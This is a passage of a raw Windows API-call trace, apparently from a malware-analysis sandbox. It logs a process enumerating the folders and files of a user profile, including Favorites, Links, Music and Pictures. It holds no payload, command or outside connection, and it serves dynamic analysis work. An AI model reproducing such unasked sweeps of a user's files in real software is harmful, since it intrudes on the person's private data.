ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0066.646] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.646] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.646] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d068 | out: hHeap=0x5d0000) returned 1 [0066.646] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.646] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0066.646] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.646] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.646] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.646] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.646] PathFindFileNameW (pszPath="") returned="" [0066.646] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.646] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0066.647] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.647] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.647] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d068 | out: hHeap=0x5d0000) returned 1 [0066.647] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.647] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0066.647] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.647] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.647] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.647] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.647] PathFindFileNameW (pszPath="") returned="" [0066.647] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.647] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e208 | out: hHeap=0x5d0000) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0066.648] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0066.648] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.648] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.648] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325dde8 | out: hHeap=0x5d0000) returned 1 [0066.648] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.648] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0066.648] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.648] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.648] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.648] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.648] PathFindFileNameW (pszPath="") returned="" [0066.648] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0066.648] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cb20 | out: hHeap=0x5d0000) returned 1 [0066.648] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.648] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d068 | out: hHeap=0x5d0000) returned 1 [0066.648] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.648] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0066.648] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.648] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.648] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.648] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.648] PathFindFileNameW (pszPath="") returned="" [0066.649] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96777bc0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96777bc0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.649] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e208 | out: hHeap=0x5d0000) returned 1 [0066.649] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96777bc0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96777bc0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.649] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ad70d0, ftCreationTime.dwHighDateTime=0x1d4cb1b, ftLastAccessTime.dwLowDateTime=0xc1826910, ftLastAccessTime.dwHighDateTime=0x1d4cace, ftLastWriteTime.dwLowDateTime=0xc1826910, ftLastWriteTime.dwHighDateTime=0x1d4cace, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C04Fzue-Z7KVyl_", cAlternateFileName="C04FZU~1")) returned 1 [0066.649] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e9c930, ftCreationTime.dwHighDateTime=0x1d4cd8e, ftLastAccessTime.dwLowDateTime=0x3ebbc700, ftLastAccessTime.dwHighDateTime=0x1d4c9ee, ftLastWriteTime.dwLowDateTime=0x3ebbc700, ftLastWriteTime.dwHighDateTime=0x1d4c9ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c8v-4o", cAlternateFileName="")) returned 1 [0066.649] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.649] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbf1ea90, ftCreationTime.dwHighDateTime=0x1d4cef5, ftLastAccessTime.dwLowDateTime=0x22e638b0, ftLastAccessTime.dwHighDateTime=0x1d4c630, ftLastWriteTime.dwLowDateTime=0x22e638b0, ftLastWriteTime.dwHighDateTime=0x1d4c630, nFileSizeHigh=0x0, nFileSizeLow=0x10d8a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gN3ngE.m4a", cAlternateFileName="")) returned 1 [0066.649] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ef1c260, ftCreationTime.dwHighDateTime=0x1d4c7dd, ftLastAccessTime.dwLowDateTime=0x7df4c750, ftLastAccessTime.dwHighDateTime=0x1d4c836, ftLastWriteTime.dwLowDateTime=0x7df4c750, ftLastWriteTime.dwHighDateTime=0x1d4c836, nFileSizeHigh=0x0, nFileSizeLow=0x4c9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="H2RlJNYiG6Mk.mp3", cAlternateFileName="H2RLJN~1.MP3")) returned 1 [0066.649] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff4c5b0, ftCreationTime.dwHighDateTime=0x1d4c7d8, ftLastAccessTime.dwLowDateTime=0x5fb78f10, ftLastAccessTime.dwHighDateTime=0x1d4d232, ftLastWriteTime.dwLowDateTime=0x5fb78f10, ftLastWriteTime.dwHighDateTime=0x1d4d232, nFileSizeHigh=0x0, nFileSizeLow=0x39a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="miLI HhNB0PH1Dx.mp3", cAlternateFileName="MILIHH~1.MP3")) returned 1 [0066.649] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7d4b0, ftCreationTime.dwHighDateTime=0x1d4c717, ftLastAccessTime.dwLowDateTime=0x9c481e60, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0x9c481e60, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="okHQRb", cAlternateFileName="")) returned 1 [0066.649] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7d4b0, ftCreationTime.dwHighDateTime=0x1d4c717, ftLastAccessTime.dwLowDateTime=0x9c481e60, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0x9c481e60, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="okHQRb", cAlternateFileName="")) returned 0 [0066.649] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.649] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.649] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325dde8 | out: hHeap=0x5d0000) returned 1 [0066.649] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.649] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0066.649] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.649] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.649] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.649] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.649] PathFindFileNameW (pszPath="") returned="" [0066.650] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7d4b0, ftCreationTime.dwHighDateTime=0x1d4c717, ftLastAccessTime.dwLowDateTime=0x9c481e60, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0x9c481e60, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="okHQRb", cAlternateFileName="")) returned 0xffffffff [0066.650] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cb20 | out: hHeap=0x5d0000) returned 1 [0066.650] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.650] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d068 | out: hHeap=0x5d0000) returned 1 [0066.650] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.650] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0066.650] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.650] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.650] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.650] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.650] PathFindFileNameW (pszPath="") returned="" [0066.650] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7d4b0, ftCreationTime.dwHighDateTime=0x1d4c717, ftLastAccessTime.dwLowDateTime=0x9c481e60, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0x9c481e60, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="okHQRb", cAlternateFileName="")) returned 0xffffffff [0066.651] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e208 | out: hHeap=0x5d0000) returned 1 [0066.651] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.651] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325dde8 | out: hHeap=0x5d0000) returned 1 [0066.651] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.651] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0066.651] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.651] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.651] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.651] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.651] PathFindFileNameW (pszPath="") returned="" [0066.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96966da0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96966da0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.651] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d068 | out: hHeap=0x5d0000) returned 1 [0066.651] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96966da0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96966da0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.651] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, 